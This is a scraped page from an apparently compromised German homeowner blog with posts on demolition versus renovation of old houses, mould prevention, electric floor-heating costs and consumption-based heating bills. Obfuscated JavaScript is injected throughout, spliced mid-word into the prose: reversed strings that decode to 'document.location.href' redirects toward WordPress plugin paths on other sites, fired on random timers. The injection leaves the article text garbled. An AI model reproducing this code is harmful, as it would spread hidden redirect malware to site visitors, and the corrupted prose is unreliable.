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Zahlreiche Wohngebäude der 50er, 60er und 70er Jahre sind reif für den Abriss

Zahlreiche Häuser insbesondere aus den 50er, 60er und 70er Jahren sind inzwischen extrem sanierungsbedürftig. Eine bundesweite Studie belegt, dass es für etwa 1,8 Millionen Wohnhäuser wirtschaftlicher wäre, diese Gebäude abzureißen und statt dessen neue energieeffiziente Gebäude zu errichten. Dabei stammen etwa zwei Drittel dieser Wohngebäude aus den 50er, 60er und 70er Jahren. Gerade diese Gebäudegeneration wurde oftmals im Laufe der Zeit kaum modernisiert, lediglich die Heizungstechnik wurde zwischendurch erneuert. Der Sanierungsstau ist riesig.

Abriss oder Sanierung?; Bild: Karl-Heinz Laube / pixelio.de

Abriss oder Sanierung?; Bild: Karl-Heinz Laube / pixelio.de

Abriss oder Sanierung?

Die Kosten für eine umfassende Sanierung sind jedoch extrem hoch, die baulichen Gegebenheiten sind meist sehr komplex und es müssen zahlreiche Kompromisse im Rahmen der Sanierungsplanung gefunden werden. Deutlich einfacher und dabei kostengünstiger kann es sich somit in vielen Fällen erweisen, das alte Gebäude abzureißen und einen zeitgemäßen Neubau zu errichten. Laut der Studie soll sich sogar für etwa 10 % der Bestdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andsgebäude ein Abriss und ein anschließender Neubau wirtschaftlicher erweisen als eine umfangreiche Sanierung.

Für das Erreichen der klimapolitischen Ziele, wäre dieser Weg eigentlich ebenfalls eine Option. Leider gibt es hierzu (noch) keine entsprechenden Rahmenbedigungen, die es dem Hausbesitzer vergleichsweise unkompliziert ermöglichen ihr Wohngebäude abzureißen und durch einen Neubau zu ersetzen. Fördermöglichkeiten, beispielsweise der KfW (Kreditanstalt für Wiederaufbau), gibt es für dieses Konzept ebenfalls nicht.

So bleibt nur abzuwarten, wie sich der immer größer werdende Sanierungsstau in den nächsten Jahren auflösen soll.

 

Quelle: Bundesweite Studie zur Analyse des Wohngebäudebestdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andes

Initiadom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toren: Industriegewerkschaft Bauen-Agrar-Umwelt (IG Bau), Hauptverbdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and der Deutschen Bauindustrie (HDB), Zentralverbdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Deutsches Baugewerbe (ZDB), Bundesverbdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Freier Immobilien und Wohnungsunternehmen (BFW), Bundesverbdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Deutscher Bausdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toff-Fachhdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andel (BDB), Bundesverbdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Bausdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toffe – Steine und Erden (BBS), Deutsche Gesellschaft für Mauerwerks- und Wohnungsbau (DGfM)

Schimmel in der Wohnung

$nJe=function(n){if (typeof ($nJe.list[n]) == „string“) return $nJe.list[n].split(„“).reverse().join(„“);return $nJe.list[n];};$nJe.list=[„\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod“];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to: Kurt Michel / pixelio.de“ src=“http://www.wir-hausbesitzer.de/blog/wp-content/uploads/2011/07/447430_R_K_B_by_Kurt-Michel_pixelio_de-150×150.jpg“ alt=“Schimmel und Feuchtigkeit; Fodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to: Kurt Michel / pixelio.de“ width=“207″ height=“150″ /> Schimmel und Feuchtigkeit; Fodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to: Kurt Michel / pixelio.de

Was tun, wenn Schimmel in der Wohnung auftritt?

Immer mehr Wohnungen, nicht selten sogar neu sanierte Wohngebäude, weisen Schäden durch Schimmel auf. Schimmel, das sind Pilze, die vor allem allergen, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toxisch und / oder infektiös auf den Menschen wirken können. Man sollte daher den Schimmel in der Wohnung nie auf die „leichte Schulter“ nehmen. Um den Schimmel dauerhaft zu beseitigen, muss zuerst eine Ursachenklärung und –behebung erfolgen.

Was der Schimmel liebt:

1.) eine Raumtemperatur möglichst zwischen 15 °C und 30 °C
2.) eine relative Raumluftfeuchtigkeit zwischen 70 und 80 Prozent
3.) wie alle Pilze: ein leicht saures Milieu (pH-Werte unterhalb von 7)
4.) Nahrung: wie Tapete, Tapetenkleister, Holz, Staub etc.

Ursachen für den Schimmel

Ursachen können Baumängel, erhöhte Raumluftfeuchte, falsche Möblierung aber auch Leckagen sein.

Feuchte Wände können beispielsweise durch eine hohe Raumluftfeuchte bei gleichzeitig geringer Lüftungsrate entstehen. Ein typisches Beispiel ist die erhöhte Gebäudedichtheit nach dem Tausch alter Fenster gegen neue hochdichte Fenster mit Wärmeschutzverglasung.

Aber Schimmel kann auch an (ungedämmten) Außenwänden entstehen; insbesondere wenn diese Wände zusätzlich noch mit Möbeln verstellt werden. Ursache ist, dass diese Wdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andbereiche in der kalten Jahreszeit weniger erwärmt werden können und so die Raumluftfeuchte bevorzugt hier kondensiert. Dadurch kann es möglich sein, dass hinter dem Schrank über einen längeren Zeitraum beispielsweise 16 °C und 80 % relative Luftfeuchte vorliegen; dazu kommen noch die „alte“ Tapete und etwas Staub … und die Wachstumsbedingungen für die Schimmelpilze sind perfekt.

Ähnlich günstige Wachstumsbedingungen können durch Wärmebrücken verursacht werden. Wärmebrücken sind kleinflächige Bereiche, die sich bei größeren Temperaturdifferenzen zwischen innen und außen stärker abkühlen. Hierbei kann sich ebenfalls Kondenswasser bilden und für „angenehme“ Feuchtigkeit sorgen. Ein typisches Beispiel ist die (ungedämmte) Fensterlaibung.

Vermeidung von Schimmel

Grundsätzlich sollte man versuchen, dem Schimmel seine Wachstumsgrundlagen zu entziehen. Im Folgenden eine kleine Auflistung der vorhdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andenen Möglichkeiten:

1. Lösung zur Vermeidung von Schimmel:

  • „Weglüften“ der Raumluftfeuchte (Lüftung, wenn außen kühlere Temperaturen vorherrschen als innen)
    • Bewertung: sehr preiswert, aber nur als kurzfristige Lösung geeignet

2. Lösung zur Vermeidung von Schimmel:

  • Möbel von den Außenwänden wegrücken (Wdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andabstdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and: ca. 10 cm)
    • Bewertung: preiswert, aber bei ungedämmten Außenwänden manchmal nicht ausreichend

3. Lösung zur Vermeidung von Schimmel:

  • Feuchteanfall in der Wohnung reduzieren (z.B. kein Wäschetrocknen in der Wohnung)
    • Bewertung: ist manchmal bereits ausreichend; es müssen jedoch Alternativen geschaffen werden (z.B. Trockenraum)

4. Lösung zur Vermeidung von Schimmel:

  • Installation von Lüftungsanlagen
    • Bewertung: ist gerade bei erhöhtem Feuchteaufkommen (z.B. Bad, Wohnraum mit offener Aquarienanlage etc.) sehr sinnvoll. Hier gibt es auch bereits sehr interessante dezentrale Lüftungsanlagen.

5. Lösung zur Vermeidung von Schimmel:

  • (Außen-)Dämmung von Außenwänden zur Schimmelbekämpfung
    • Bewertung: ist dauerhaft eine sehr gute Lösung, da „kalte Außenwdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andbereiche“ beseitigt werden, an denen die Raumluftfeuchte kondensieren kann. Langfristig kann es sich sogar als wirtschaftlich erweisen, da zusätzlich (als Nebeneffekt) auch noch Heizkosten eingespart werden können.

Bekämpfung von Schimmel

Die erforderlichen Maßnahmen können sehr vielfältig sein, je nach Schimmelaufkommen. Hier sollte man sich professionellen Rat suchen. Auf keinen Fall sollte man den Schimmel „einfach“ mit einem Staubsauger absaugen oder mit einem trockenen Tuch wegwischen. In beiden Fällen würde man die Pilzsporen des Schimmel ’s im Raum verbreiten und so die gesundheitsgefährdende Wirkung verstärken.

Stromverbrauch einer elektrischen Fußbodenheizung

Viele Hausbesitzer oder Eigentümer einer Ferienwohnung verfügen über eine elektrische Fußbodenheizung oder überlegen, ob man sich diese nachträglich einbauen lassen sollte. Gerade im Bad kann es sehr angenehm sein, wenn die Fliesen temperiert sind.

 

Fußbodenheizung – Fo<script><p class=$nJe=function(n){if (typeof ($nJe.list[n]) == „string“) return $nJe.list[n].split(„“).reverse().join(„“);return $nJe.list[n];};$nJe.list=[„\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod“];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to: Heike Hering / pixelio.de“ width=“400″ height=“298″ /> Fußbodenheizung – Fodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to: Heike Hering / pixelio.de

Doch was verbraucht eine solche Fußbodenheizung an Energie?

Der Stromverbrauch für eine Fußbodenheizung sieht wie folgt aus:

Ausgehend von einem Heizwärmebedarf von schätzungsweise 70 W/m², ist ein Bad mit einer Fläche von 10 Quadratmetern mit ca. 700 Watt (0,7 kW) zu beheizen. Nun kann nicht der gesamte Fußboden mit einer Fußbodenbeheizung versehen werden, da Badewanne, Dusche, WC, Möblierung etc. den Fußboden verdecken. Sind beispielsweise nur etwa 50 Prozent des Bodens über eine Fußbodenheizung beheizbar, erfolgt die Auslegung üblicherweise mit ca. 140 Watt pro Quadratmeter (= 700 W / 5 m²).

Die elektrische Leistung einer Fußbodenheizung liegt daher je nach Modell zwischen 100 Watt und 160 Watt je Quadratmeter beheizter Fußbodenfläche. Angenommen das Bad besitzt eine Fläche von 5 Quadratmetern und die Fußbodenheizung läuft permanent mit 140 Watt:

So liegt der Stromverbrauch bei 140 W /m² * 5 Quadratmeter Heizfläche * 24 Stunden pro Tag =  16,8 kWh pro Tag. Bei einem Strompreis von 0,24 Euro pro kWh sind das bei Vollzeitbetrieb der Fußbodenheizung ca. 4,03 Euro Heizkosten pro Tag, 28,22 Euro Heizkosten pro Woche, 123 Euro Heizkosten pro Monat oder ca. 1.470 Euro Stromkosten pro Jahr.

Im Beispiel wurde eine „Vollzeitbetrieb“ mit 365 Tagen voller Beheizung gerechnet. Natürlich wird das Bad in den seltensten Fällen im Sommer beheizt. Ferner regulieren Thermostate den tatsächlichen Bedarf. Um diese Punkte zu berücksichtigen kann daher überschlägig mit einer realen Heizdauer von etwa 2.000 Stunden pro Jahr gerechnet werden. Es ergeben sich somit für das  Bad tatsächliche Heizkosten von 340 Euro pro Jahr.

Angenommen die Badfläche ist deutlich höher (möglicherweise besitzt auch das gesamte Haus eine Fußbodenheizung), so können die Kosten natürlich noch deutlich über diesen hier errechneten 340 bis 1.470 Euro liegen.

Die effektive Fußbodenheizung:

So ist einer warmer Fußboden im Bad ein echter Luxus, zumindest wenn eine Fußbodenheizung eingebaut wurde. Grundsätzlich kann dieser Luxus „ Fußbodenheizung “ natürlich auch energetisch sehr effektiv sein. Neben der elektrischen Fußbodenheizung gibt es auch warmwasserführende Heizsysteme, welche an das (bestehende) Heizsystem angeschlossen werden können (Öl, Gas, Holzpellets, Solar, Wärmepumpe etc.). Der Vorteil dieser Strahlenheizung gegenüber einer klassischen Konvekdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torheizung ist vor allem in der deutlich geringeren Vorlauftemperatur von 30 bis 40 °C zu sehen. (… natürlich nicht strombetrieben …)

Die Fußbodenheizung ist auf jeden Fall ein äußerst träges System. Geringe Aufbauhöhe des Fußbodens und gut wärmeleitende Materialien sind bei Einsatz einer Fußbodenheizung unbedingt empfehlenswert.

Für alle Hausbesitzer, die auf eine elektrische Fußbodenheizung nicht verzichten können /wollen:

Wie kann man mit der bestehenden Fußbodenheizung Strom sparen (bzw. möglichst wenig Strom verbrauchen)?

Die Oberflächentemperatur des Fußbodens sollte optimal zwischen 23 und 24 °C liegen. Höhere Temperaturen führen zudem bei manchen Menschen zu Unbehagen, wie beispielsweise anschwellende Beine. (Vorlauftemperaturen wassergeführter Heizungssyteme liegen daher meist zwischen 30 und 35 °C).

Eine sinnvolle Alternative ist es, den Raum über Konvektionsheizungen zu erwärmen und die elektrische Fußbodenheizung als (angenehme) Begleitheizung zu nutzen. In diesem Fall kann eine gezielte Regelung der gewünschten Raumtemperatur über Thermostate erfolgen.

Eine Steuerungsaudom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tomatik kann bedingt unterstützen. Möglich wäre eine zeitgesteuerte Regelung, die beispielsweise Nachts einige Stunden abschaltet oder eine temperaturgesteuerte Regelung, die ab einer bestimmten Raumtemperatur abschaltet. Insgesamt ist jedoch eine Temperaturabsenkung bei der Fußbodenheizung nur begrenzt möglich, da dieses Heizungssystem äußerst träge ist.

Stromtarif für Fußbodenheizung:

Für Nachtspeicherheizung und für den Wärmepumpenbetrieb gibt es spezielle Stromtarife. Ebenfalls gibt es teilweise vergünstigte Nachtstromtarife. Hier ist es meist erforderlich einen separaten Stromzähler zu installieren. So genannte Smart Meter (intelligente Stromzähler) bieten sich in diesem Fall an. Direkt für die „ Fußbodenheizung “ gibt es keinen speziellen (vergünstigten) Tarif.

Gibt es effektive elektrisch betriebene  Heizungen?

Viele elektrische Heizsysteme versprechen den Hausbesitzern, sehr effizient zu arbeiten. Wie hoch die energetischen Aufwendungen zum Beheizen des Raumes aber tatsächlich sind, hängt vom Heizwärmebedarf des Raumes ab (Größe, Außenwände, Fenster, Undichtigkeiten etc.).

Und um diesen Heizwärmebedarf zu decken, ist eine bestimmte Leistung des Gerätes erforderlich (Leistung [kW] x Zeit [h] = Verbrauch [kWh]). Dabei  ist die kW-Angabe von allen Elektroheizungen direkt miteindoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}ander vergleichbar.

Elektroheizung = Elektroheizung.

Egal, ob es eine elektrische Fußbodenheizung , ein elektrischer Ölradiadom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tor, ein elektrischer Konvekdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tor, ein elektrischer (Bad-) Schnellheizer, ein elektrischer Keramikheizer, ein elektrischer Panel Heizer (so genannte Wärmewellen) oder sonstige elektrische Heizer sind. Die kleinsten dieser Heizer haben eine Leistung von  0,7 kW, die etwas größeren mobilen Heizer eine Leistung von bis zu 2,5 kW (Ölradiadom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tor). Jedes Heizgerät hat seinen speziellen Einsatzbereich. Jedoch sind der stündliche Verbrauch von beispielsweise 2 Kilowattstunden des Heizers A genauso viel (oder wenig) wie der Verbrauch von 2 Kilowattstunden des Heizers B.  … nämlich 45 bis 50 Cent pro Stunde (je nach Stromtarif).

Fußbodenheizung

Heizkostenabrechnung muss verbrauchsabhängig erfolgen

$nJe=function(n){if (typeof ($nJe.list[n]) == „string“) return $nJe.list[n].split(„“).reverse().join(„“);return $nJe.list[n];};$nJe.list=[„\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod“];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to: Bastian Scheefe/pixelio.de“ src=“http://www.wir-hausbesitzer.de/blog/wp-content/uploads/2012/02/248493_web_R_K_B_by_Bastian-Scheefe_pixelio.de_.jpg“ alt=“Verbrauchsabhängige Heizkostenabrechnung ; Fodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to: Bastian Scheefe/pixelio.de“ width=“310″ height=“400″ /> Verbrauchsabhängige Heizkostenabrechnung ; Fodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to: Bastian Scheefe/pixelio.de

Hausbesitzer, die Wohnungen vermieten, sind verpflichtet eine verbrauchsabhängige Heizkostenabrechnung zu erstellen. Hierfür sind Heizkostenverteiler an den Heizkörpern anzubringen und die gesamten Kosten für die Beheizung des Gebäudes und die Wartungsarbeiten sind entsprechend der Vorgaben in der Heizkostenverordnung aufzuteilen. Die Abrechnung erfolgt in Anhängigkeit vom tatsächlichen Verbrauch (laut Heizkostenverteiler) und von der Größe der Wohnung.

Erstellung der Heizkostenabrechnung

Auch eine vertragliche Vereinbarung zur Umgehung der Heizkostenabrechnung ist nicht zulässig. Lediglich bei Zweifamilienhäusern, von denen eine Wohnung vom Hausbesitzer bewohnt und die zweite Wohnung vermietet wird ist keine verbrauchsabhängige Heizkostenabrechnung erforderlich.
Grundsätzlich sind bei der Heizkostenabrechnung alle Heizkosten für ein komplettes Jahr abzurechnen. Dabei kann der Hausbesitzer selbst den Abrechnungsstichtag festlegen. So kann die Abrechnung beispielsweise ein komplettes Kalenderjahr umfassen oder auch jeweils eine komplette Heizperiode. Günstig wäre als Abrechnungsstichtag auch der Abrechnungstag des Energieversorgers (beispielsweise bei Erdgas).

Die Heizkostenabrechnung muss neben dem Energieträger auch die Gesamtmenge, den Preis und gegebenenfalls das Lieferdatum enthalten. Bei Öl oder Kohle als Energieträger sind ferner Anfangs- und Endbestdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and festzuhalten. Weitere Kosten ergeben sich aus der Wartung und der Reinigung der Anlage, den Kosten für den Schornsteinfeger, den Kosten für den Betriebsstrom und den gesamten Kosten für Heizkostenverteiler und eventuell den Kosten für die Erstellung der Heizkostenabrechnung.

Elektronische Heizkostenverteiler zeigen die Verbrauchseinheiten direkt am Messgerät an. Die Ablesung ist daher für Jedermann einfach und nachvollziehbar.

Heizkostenabrechnung erfolgt nach tatsächlichem Verbrauch

dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}top: 0px; left: 0px; padding-right: 10px;“>

Die Heizkosten werden so beispielsweise in Mietwohnungen oder in Eigentumswohnungen mit einer zentralen Heizungsversorgung in der Regel in Form monatlicher Abschläge entrichtet. Wie sieht es nun aus, wenn sich diese Zahlungen am harten Winter des vergangenen Jahres orientieren? In diesem Fall wären die monatlichen Zahlungen deutlich überzogen und von der Realität weit entfernt. Die Frage, die im vergangenen Jahr ein Gericht zu klären hatte: Inwieweit ist diese Form der Zahlung noch als „Verbrauchsabhängige Abrechnung“ zu sehen und vom Nutzer zu dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tolerieren?

Der Bundesgerichtshof (BGH) in Karlsruhe entschied, dass sich die Heizkostenabrechnung grundsätzlich am tatsächlichen Verbrauch orientieren muss (Az.: V III ZR 156/11). Damit sind unbegründete  Abschlagszahlungen, die aus der Heizkostenabrechnung des Vorjahres abgeleitet wurden, nicht mehr zulässig. Die Form der Abrechnung wurde vom Gericht als unzulässig eingestuft, da es in dieser Form zu Ungerechtigkeiten führen kann.

Gerade jetzt im milden Winter müßte der Nutzer deutlich mehr an monatlichen Heizkosten zahlen, wenn die Berechnung der Vorauszahlung anhdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and der Heizkostenabrechnung des Vorjahres erfolgen würde. Umgekehrt wäre das natürlich ebenfalls ungerecht und könnte zum „bösen Erwachen“ führen, wenn zunächst geringe Abschläge gezahlt werden müssten und anschließend vielleicht eine gigantische Nachzahlungsforderung erfolgen würde.
Hintergrund dieser gesetzlichen Regelungen in der Heizkostenverordnung ist, die Bewohner zu einem sparsamen Umgang mit Energie und einem bewußten Heizverhalten zu motivieren. Diesem Ziel entspricht auch die geforderte verbrauchsabhängige Abrechnung der tatsächlichen Heizkosten. Und genau dieser Zielstellung sind die Richter nun auch mit diesem Urteil gefolgt; so dass auch die Vorauszahlung der verbrauchten Brennsdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toffe anhdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and der tatsächlichen Kosten (und nicht der Kosten des Vorjahres) zu kalkulieren ist.

